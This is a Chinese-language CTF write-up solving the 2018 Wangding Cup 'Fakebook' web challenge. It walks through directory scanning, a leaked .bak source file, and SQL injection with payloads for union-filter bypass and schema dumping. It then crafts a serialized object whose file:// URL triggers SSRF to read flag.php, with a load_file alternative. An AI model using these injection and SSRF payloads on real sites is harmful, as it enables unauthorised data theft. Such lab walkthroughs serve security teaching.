题目

点进页面,页面显示为

查看源代码

用dirsearch扫一下,看一下有什么敏感信息泄露


扫出另一个flag.php和robots.txt,访问flag.php回显内容为空

请求robots.txt

网页提示/user.php.bak,直接访问会自动下载.bak备份文件
进行代码审计


通过get获得指定的URL,设置curl 参数,并将指定URL的内容返回,只要返回内容不为404即可

对输入的blog进行正则匹配
先随便注册一个

注册完了之后会自动跳转页面

点击admin

这里注意到url里传参为no=1,可能为sql注入

输入单引号测试一下,回显为报错

存在注入,判断字段数
构造payload
1 order by 5#

5时报错,所以有4个字段
这里用了union select,发现被过滤了

这里可用union/**/select或者union all select绕过判断
使用select查询回显点,这里把1改掉,要不然看不到回显
构造payload
9 union/**/select 1,2,3,4#
发现2是注入点

还有序列化
发现注入点后,爆数据库
构造payload
9 union all select 1,database(),3,4数据库名为fakebook
 爆表名
爆表名
9 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

爆列
9 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
这里需要注意因为数据库里不只这一个库里包含users表,后面大写的是其他数据库里的users表内容
猜测信息在data里,爆里面的内容
9 union all select 1,group_concat(data),3,4 from fakebook.users
这一串序列化的结果为注册的账号,被序列化输出,结合之前的代码审计结果
进行序列化,curl可用file协议,所以这里使用file协议读取文件。file:///var/www/html/flag.php
利用源码进行序列化构造后传入

但是之前爆列名的时候没有blog,所以我们要设置的点就是data那里了,所以在第四列进行注入,需要把序列化的句子包在单引号里
构造payload
9 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源码

进行base64解码

非预期解法

这里得到绝对路径
mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php
构造payl
9 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
查看源码得到flag

参考文章链接:
【精选】[网鼎杯 2018]Fakebook-CSDN博客
https://www.cnblogs.com/ling-lz/articles/15379058.html
[网鼎杯 2018]Fakebook——SSRF/反序列化漏洞/SQL注入_sGanYu的博客-CSDN博客









![[N-133]基于springboot,vue小说网站](https://img-blog.csdnimg.cn/3741f74602be40e9aededfda04e88ff4.png)









